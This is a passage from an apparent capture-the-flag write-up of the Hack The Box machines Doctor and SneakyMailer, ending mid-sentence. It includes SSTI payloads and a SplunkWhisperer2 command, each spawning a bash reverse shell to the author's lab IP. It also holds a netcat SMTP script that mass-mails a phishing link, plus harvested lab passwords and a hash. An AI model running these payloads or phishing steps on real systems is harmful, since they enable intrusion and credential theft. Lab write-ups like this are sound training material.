class="cl"&gt;&amp;lt;item&amp;gt;&amp;lt;title&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It simply seemed unable to read files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it could make requests.&lt;/p&gt;&#10;&lt;p&gt;This was a wrong turn. I tried a great many payloads without success. After a lot of searching, I noticed that nearly every result covered XXE in php or java, with nothing about exploiting this issue in python.&lt;/p&gt;&#10;&lt;p&gt;I had actually run whatweb when I first encountered the site.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not seem to reveal anything.&lt;/p&gt;&#10;&lt;p&gt;Later searches showed that when python is used as the backend with flask, it may be vulnerable to ssti template injection. It suddenly clicked that a python backend could indeed have this vulnerability.&lt;/p&gt;&#10;&lt;p&gt;I first tested whether it was present.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After creating the item, I visited:&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://doctors.htb/archive" target="_blank" rel="noopener"&#10; &gt;http://doctors.htb/archive&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, so I prepared an exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://payatu.com/blog/server-side-template-injectionssti/" target="_blank" rel="noopener"&#10; &gt;https://payatu.com/blog/server-side-template-injectionssti/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The exp in this post worked. I only needed to construct the payload and submit it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{{request.application.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#34;bash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/6666 &amp;lt;&amp;amp;1&amp;#39;&amp;#34;).read()}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;The admin user was immediately visible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not created this user. sudo -l required a password, so my current plan was to crack this and then inspect sudo -l.&lt;/p&gt;&#10;&lt;p&gt;$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I identified the algorithm as bcrypt and could run it through john.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In practice, finishing this run did not help. It could not crack the hash at all, and bcrypt was extremely resource-intensive and slow.&lt;/p&gt;&#10;&lt;p&gt;This route was a dead end, so I tried other escalation paths.&lt;/p&gt;&#10;&lt;p&gt;Neither suid nor sudo revealed anything. There was another user named shaun under home.&lt;/p&gt;&#10;&lt;p&gt;Then I noticed one more user whose home directory was /opt/splunkforwarder. It contained a readme and a version number.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A google search showed that this program listens on port 8089. nmap had found that port earlier, but my testing had produced nothing, so I ignored it. Perhaps the intended hint was to escalate into splunk.&lt;/p&gt;&#10;&lt;p&gt;I found no exp for this version, but the site below said that simply logging in appeared sufficient to get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started looking for configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862" target="_blank" rel="noopener"&#10; &gt;https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not read it. I kept investigating this service but found no way to compromise it, and it ran as root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I uploaded linenum for another look, but it found nothing.&lt;/p&gt;&#10;&lt;p&gt;Then I inspected my groups and discovered that I could read many logs.&lt;/p&gt;&#10;&lt;p&gt;find / -group adm 2&amp;gt;/dev/null -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had an idea. Someone had to log in to either the port 80 site or the port 8089 service. If I could not access the 8089 service because I lacked its path and credentials, searching all configuration files might reveal passwords for the sites on 80 and 8089 and let me proceed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not find anything for 8089, but I did find a password.&lt;/p&gt;&#10;&lt;p&gt;/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] &amp;ldquo;POST /reset_password?email=Guitar123&amp;rdquo; 500 453 &amp;ldquo;&lt;a class="link" href="http://doctor.htb/reset_password%22" target="_blank" rel="noopener"&#10; &gt;http://doctor.htb/reset_password&amp;rdquo;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started trying Guitar123 with su.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That successfully escalated me to shaun.&lt;/p&gt;&#10;&lt;p&gt;Everything pointed to splunkd on port 8089.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My first thought was to create a local tunnel, but I could not access it locally either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It listened on 0.0.0.0, so this was not a local-only service. Yet I still could not access it locally.&lt;/p&gt;&#10;&lt;p&gt;Only later did I realize that I had been using http the entire time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I accessed it successfully.&lt;/p&gt;&#10;&lt;p&gt;Only services and serviceNS were accessible, and they required a username and password. We happened to have shaun&amp;rsquo;s credentials.&lt;/p&gt;&#10;&lt;p&gt;Although we could not read this service&amp;rsquo;s passwd file or list its users, my earlier searches suggested that splunkd may use local /etc/passwd accounts to create users for login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully.&lt;/p&gt;&#10;&lt;p&gt;There are many tutorials on getting a shell online, and they also mention that this app often runs as root.&lt;/p&gt;&#10;&lt;p&gt;But every tutorial used a graphical interface to upload apps, then used the uploaded content to get a shell.&lt;/p&gt;&#10;&lt;p&gt;There was no graphical interface here for me to click through, so I had to find an absolute path. One post said that extracting an app locally had the same effect as uploading it through the GUI.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not have write permission, however. My current options were to find the app-upload endpoint or continue escalating locally into splunk.&lt;/p&gt;&#10;&lt;p&gt;Neither worked, so I started looking for a poc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0606.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Whenever I find an exp but do not know how to use it, I search for the project name to understand how it works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0607.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/" target="_blank" rel="noopener"&#10; &gt;https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That explanation was not useful, so I constructed the poc from the parameters in the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I used the local privilege-escalation script and tested it first.&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;lsquo;id &amp;gt; /tmp/1.txt&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0608.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really worked: the created file genuinely belonged to root.&lt;/p&gt;&#10;&lt;p&gt;My later attempts with su and other commands had problems. Looking at the code, it appeared unable to remain running in the current context, so I tried a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/1234 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I spent a great deal of time on this box. I took the wrong approach to the foothold and investigated XXE before finally recognizing SSTI. The web-based escalation to shaun was not difficult, but I lacked the idea at first and wasted a lot of time, including trying to crack the hash from the db. Only at the end did I inspect the adm group. I think the overall process was sound; it was simply far too slow.&lt;/p&gt;&#10;&lt;p&gt;Escalating to root was next. I studied this service and read many posts before finding the exploit. The exploitation itself was easy, but reading all that code felt time-consuming. It did work in the end, so this was still a conventional process. I was simply too slow, and perhaps I also need to improve how I search google. The takeaway from this box is that I need to practice more boxes and improve my methodology.&lt;/p&gt;&#10;&lt;h2 id="27sneakymailer"&gt;&lt;a href="#27sneakymailer" class="header-anchor"&gt;&lt;/a&gt;27.SneakyMailer&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://sneakycorp.htb/index.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This site revealed one useful detail.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Someone named Bradley Greer was a tester.&lt;/p&gt;&#10;&lt;p&gt;The boss was named Cara Stevens.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also told us that work had been assigned and that we needed to check our email, and that pip was available. One open question was our username: it only referred to us as You.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This contained every team member&amp;rsquo;s email address and role.&lt;/p&gt;&#10;&lt;p&gt;Bradley Greer&amp;rsquo;s:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The boss Cara Stevens&amp;rsquo;s:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0617.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After gathering this information, I checked each service. ftp did not allow anonymous login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMTP accepted connections. We did not need to send mail yet, but I still checked everything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 showed an nginx page. I started brute-forcing ports 80 and 8080, then examined imap on 143 and 993.&lt;/p&gt;&#10;&lt;p&gt;Brute force revealed a registration page: &lt;a class="link" href="http://sneakycorp.htb/pypi//register.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/pypi//register.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It did nothing, so the attack clearly had to involve email.&lt;/p&gt;&#10;&lt;p&gt;I first saved every email address and verified them.&lt;/p&gt;&#10;&lt;p&gt;smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;They all existed. My only apparent option was to brute-force 143.&lt;/p&gt;&#10;&lt;p&gt;I used the collected email addresses and passwords gathered by cewl.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It found nothing.&lt;/p&gt;&#10;&lt;p&gt;I kept searching for related vulnerabilities, thinking that perhaps I needed an exp. In practice, after a long time I still had nothing—not even a version number to match against.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck and had no options, so I looked at a write-up.&lt;/p&gt;&#10;&lt;p&gt;To confirm that this really was the only path, I reviewed many write-ups describing this step. Without exception, they sent a link to every email address. The delivery methods differed, but the idea was always the same.&lt;/p&gt;&#10;&lt;p&gt;Sending email through smtp is extremely common, but it never occurred to me that I could phish users with a link and make them send their information back. I genuinely never imagined that.&lt;/p&gt;&#10;&lt;p&gt;Now that I had the idea, I just needed to send the link.&lt;/p&gt;&#10;&lt;p&gt;I constructed the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;helo smtp&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while read i; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Mail from:test@sneakymailer.htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Rcpt to:$i&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;data&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;subject:test&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;http://10.10.16.19:6789/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; done &amp;lt; user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;quit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} | nc sneakycorp.htb 25&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running it sent the messages.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc received a response.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:firstName=Paul&amp;amp;lastName=Byrd&amp;amp;email=paulbyrd@sneakymailer.htb" &gt;firstName=Paul&amp;lastName=Byrd&amp;email=paulbyrd@sneakymailer.htb&lt;/a&gt;&amp;amp;password=^(#J@SkFv2[%KhIxKk(Ju&lt;code&gt;hqcHl&amp;lt;:Ht&amp;amp;rpassword=^(#J@SkFv2[%KhIxKk(Ju&lt;/code&gt;hqcHl&amp;lt;:Ht&lt;/p&gt;&#10;&lt;p&gt;ftp would not connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0626.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started testing port 143, thinking imap should let me view the inbox.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/hi_teotong/article/details/49635781" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/hi_teotong/article/details/49635781&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post was very good.&lt;/p&gt;&#10;&lt;p&gt;Port 143 did not work either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked 993 next.&lt;/p&gt;&#10;&lt;p&gt;openssl s_client -crlf -connect sneakycorp.htb:993&lt;/p&gt;&#10;&lt;p&gt;Then I ran:&lt;/p&gt;&#10;&lt;p&gt;a001 LOGIN &lt;a class="link" href="mailto:paulbyrd@sneakymailer.htb" &gt;paulbyrd@sneakymailer.htb&lt;/a&gt; &amp;ldquo;^(#J@SkFv2[%KhIxKk(Ju`hqcHl&amp;lt;:Ht&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That still did not work.&lt;/p&gt;&#10;&lt;p&gt;I tried a tool.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cmdschool.org/archives/5449" target="_blank" rel="noopener"&#10; &gt;https://www.cmdschool.org/archives/5449&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://imap-cli.readthedocs.io/en/latest/installation.html" target="_blank" rel="noopener"&#10; &gt;https://imap-cli.readthedocs.io/en/latest/installation.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Immediately after installation, it had a code error. I changed the code and got it running.&lt;/p&gt;&#10;&lt;p&gt;But it still produced an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login failed, but I suspected it was using port 143 rather than 993.&lt;/p&gt;&#10;&lt;p&gt;I still could not log in. I tried ssh as well, but that also failed.&lt;/p&gt;&#10;&lt;p&gt;I was certain that, since I had an email address and password, the intended service was probably email. At the moment, however, my imap-cli did not work and could not specify a port or similar options.&lt;/p&gt;&#10;&lt;p&gt;Later I found a program named evolution.&lt;/p&gt;&#10;&lt;p&gt;apt-get install evolution&lt;/p&gt;&#10;&lt;p&gt;Simply install it, but do not run it as root or it will not open. It is a very straightforward program, yet there were no real tutorials online—only installation guides—so I had to work it out myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Neither 993 nor 143 would accept the login. It kept failing.&lt;/p&gt;&#10;&lt;p&gt;I never expected that the correct username would be paulbyrd. I had always included the full email address before.&lt;/p&gt;&#10;&lt;p&gt;Then another problem appeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The issue was that when evolution was closed and reopened, it restarted kali, dropping every service. I then started openvpn again, which caused the system to hang. The real reason I could not reach the internal network was that the connection was gone.&lt;/p&gt;&#10;&lt;p&gt;It worked after a reboot. I simply had to avoid closing evolution again.&lt;/p&gt;&#10;&lt;p&gt;I first tested with imapcli.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I intentionally made the first account wrong.&lt;/p&gt;&#10;&lt;p&gt;The second account was correct and produced a different error, proving that the problem was with imapcli.&lt;/p&gt;&#10;&lt;p&gt;Next I started evolution.&lt;/p&gt;&#10;&lt;p&gt;It held me up for a while after opening, but I finally got in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were two messages.&lt;/p&gt;&#10;&lt;p&gt;The first 